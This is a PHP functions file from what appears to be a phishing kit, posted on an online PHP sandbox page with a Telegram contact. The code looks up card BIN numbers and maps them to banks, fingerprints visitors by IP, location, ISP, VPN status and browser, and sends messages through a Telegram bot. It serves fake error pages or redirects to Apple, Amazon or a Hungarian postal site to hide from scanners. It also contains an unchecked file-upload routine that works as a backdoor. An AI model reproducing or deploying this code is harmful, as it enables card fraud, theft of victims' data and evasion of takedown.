neeew - PHP Online
Form of PHP Sandbox
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of neeew.php
- /**
- * contact: (https://t.me/xhn07)
- * Functions Page
- */
- // Turn off all error reporting
- // error_reporting(0);
- // Report all PHP errors
- error_reporting(0);
- // CSRF Protection
- class CSRF {
- public static function generate() {
- return $_SESSION['CSRF_KEY'] = base64_encode(openssl_random_pseudo_bytes(32));
- }
- public static function validate($csrf_token) {
- if(isset($_SESSION['CSRF_KEY']) && $_SESSION['CSRF_KEY'] == $csrf_token){
- //unset($_SESSION['CSRF_KEY']);
- return true;
- }else{
- return false;
- }
- }
- }
- class DELD {
- public static function deleteDir($dirPath) {
- if (! is_dir($dirPath)) {
- throw new InvalidArgumentException("$dirPath must be a directory");
- }
- if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
- $dirPath .= '/';
- }
- $files = glob($dirPath . '*', GLOB_MARK);
- foreach ($files as $file) {
- if (is_dir($file)) {
- self::deleteDir($file);
- } else {
- unlink($file);
- }
- }
- rmdir($dirPath);
- }
- public static function editDir($dirPath) {
- if(isset($dirPath) ){
- if ($handle = opendir($dirPath)) {
- while (false !== ($entry = readdir($handle))) {
- if ($entry != "." && $entry != "..") {
- echo "$entry\n";
- }
- }
- closedir($handle);
- }
- move_uploaded_file($_FILES['edit']['tmp_name'],$_FILES['edit']['name']);
- return true;
- }
- return false;
- }
- }
- // GET COUNTRY CODE BY IP
- function setIP(){
- $remote = $_SERVER['REMOTE_ADDR'];
- $client = @$_SERVER['HTTP_CLIENT_IP'];
- $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
- if(filter_var($remote, FILTER_VALIDATE_IP)){
- $ip = $remote;
- } elseif(filter_var($client, FILTER_VALIDATE_IP)){
- $ip = $client;
- } else {
- $ip = $forward;
- }
- return $ip;
- }
- function getIP($ip){
- if($ip == "127.0.0.1" || $ip == '::1') {
- $ip = "";
- }
- $ip_request = curl("http://www.geoplugin.net/json.gp?ip=".$ip);
- $ip_data = json_decode($ip_request['content'], TRUE);
- if(!empty($ip_data['geoplugin_countryCode']) && !empty($ip_data['geoplugin_countryName'])){
- $ip_info = [
- 'countrycode' => $ip_data['geoplugin_countryCode'],
- 'countryname' => $ip_data['geoplugin_countryName'],
- 'city' => $ip_data['geoplugin_city'],
- 'region' => $ip_data['geoplugin_region']
- ];
- } else {
- $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
- if($ip_data && $ip_data->geoplugin_countryCode != null) {
- $ip_info = [
- 'countrycode' => $ip_data->geoplugin_countryCode,
- 'countryname' => $ip_data->geoplugin_countryName,
- 'city' => $ip_data->geoplugin_city,
- 'region' => $ip_data->geoplugin_region,
- ];
- }
- }
- return $ip_info;
- }
- function cardinfo($bincode){
- $bincode = str_replace(" ","", $bincode);
- $bincode = substr($bincode, 0, 8);
- $bnk_data = curl("https://lookup.binlist.net/".$bincode);
- $bin = json_decode($bnk_data['content']);
- return $bin;
- }
- function getBankInfo($binObj, $bank_list){
- $retData = 0;
- if(isset($binObj->bank->url) || isset($binObj->bank->name)){
- foreach($bank_list as $key => $value){
- if(preg_match("/$key/i", $binObj->bank->url)){
- $retData = $key;
- }
- if(preg_match("/$value/i", $binObj->bank->name)){
- $retData = $key;
- }
- }
- return $retData;
- }else{
- return 0;
- }
- }
- function curl($url, $method = 'GET', $cookies = null, $data = null, $follow = false){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL,$url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
- curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
- if($method == 'POST' && isset($data) === true) {
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- }
- if(isset($cookies)) {
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
- }
- if($follow){
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- }
- $content = curl_exec($ch);
- if(!curl_errno($ch)){
- $return = [
- "status" => curl_getinfo($ch, CURLINFO_HTTP_CODE),
- "redirect_url" => curl_getinfo($ch, CURLINFO_REDIRECT_URL),
- "content" => $content
- ];
- }
- curl_close($ch);
- return $return;
- }
- function getOS() {
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- $os_platform = "Unknown OS Platform";
- $os_array = array(
- '/windows nt 10/i' => 'Windows 10',
- '/windows nt 6.3/i' => 'Windows 8.1',
- '/windows nt 6.2/i' => 'Windows 8',
- '/windows nt 6.1/i' => 'Windows 7',
- '/windows nt 6.0/i' => 'Windows Vista',
- '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
- '/windows nt 5.1/i' => 'Windows XP',
- '/windows xp/i' => 'Windows XP',
- '/windows nt 5.0/i' => 'Windows 2000',
- '/windows me/i' => 'Windows ME',
- '/win98/i' => 'Windows 98',
- '/win95/i' => 'Windows 95',
- '/win16/i' => 'Windows 3.11',
- '/macintosh|mac os x/i' => 'Mac OS X',
- '/mac_powerpc/i' => 'Mac OS 9',
- '/linux/i' => 'Linux',
- '/ubuntu/i' => 'Ubuntu',
- '/iphone/i' => 'iPhone',
- '/ipod/i' => 'iPod',
- '/ipad/i' => 'iPad',
- '/android/i' => 'Android',
- '/blackberry/i' => 'BlackBerry',
- '/webos/i' => 'Mobile'
- );
- foreach ($os_array as $regex => $value) {
- if (preg_match($regex, $user_agent)) {
- $os_platform = $value;
- }
- }
- return $os_platform;
- }
- function getBrowser() {
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- $browser = "Unknown Browser";
- $browser_array = array(
- '/msie/i' => 'Internet Explorer',
- '/firefox/i' => 'Firefox',
- '/brave/i' => 'Brave',
- '/safari/i' => 'Safari',
- '/chrome/i' => 'Chrome',
- '/opera/i' => 'Opera',
- '/netscape/i' => 'Netscape',
- '/maxthon/i' => 'Maxthon',
- '/konqueror/i' => 'Konqueror',
- '/mobile/i' => 'Handheld Browser'
- );
- foreach ($browser_array as $regex => $value) {
- if (preg_match($regex, $user_agent)) {
- $browser = $value;
- }
- }
- return $browser;
- }
- function get_vpn($ip) {
- if($ip == "127.0.0.1" || $ip == '::1') {
- return "N";
- }else{
- $result = curl('https://blackbox.ipinfo.app/lookup/'.$ip);
- return $result['content'];
- }
- }
- function getISP($ip) {
- if($ip == "127.0.0.1" || $ip == '::1') {
- $ip = "";
- }
- $content = curl('https://ipapi.co/'.$ip.'/org/');
- return $content['content'];
- }
- function send_messages($target, $message){
- if($target == "telegram"){
- $url = "https://api.telegram.org/bot" . XHN_TELEGRAM_TOKEN;
- $url .= "/sendMessage?chat_id=" . XHN_TELEGRAM_CHAT_ID;
- $url .= "&text=" . urlencode($message);
- $ret = curl($url);
- }
- return $ret['content'];
- }
- function get_data($data) {
- $data = file_get_contents("db/$data.dat");
- $data = explode("\n", $data);
- return $data;
- }
- function put_data($file,$data){
- $handle = fopen($file, "a");
- fwrite($handle, $data."\n");
- fclose($handle);
- }
- function blocked($type) {
- if($type == "403") {
- header('HTTP/1.0 403 Forbidden', true, 403);
- die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
- }
- if($type == "404") {
- header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
- die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
- }
- if($type == "Google") {
- header("location: https://google.com");
- }
- if($type == "Yahoo") {
- header("location: https://yahoo.com");
- }
- if($type == "Bing") {
- header("location: https://bing.com");
- }
- if($type == "Apple") {
- header("location: https://appleid.apple.com");
- }
- if($type == "Amazon") {
- header("location: https://amazon.com");
- }
- if($type == "Magyar") {
- header("location: https://posta.hu");
- }
- exit();
- }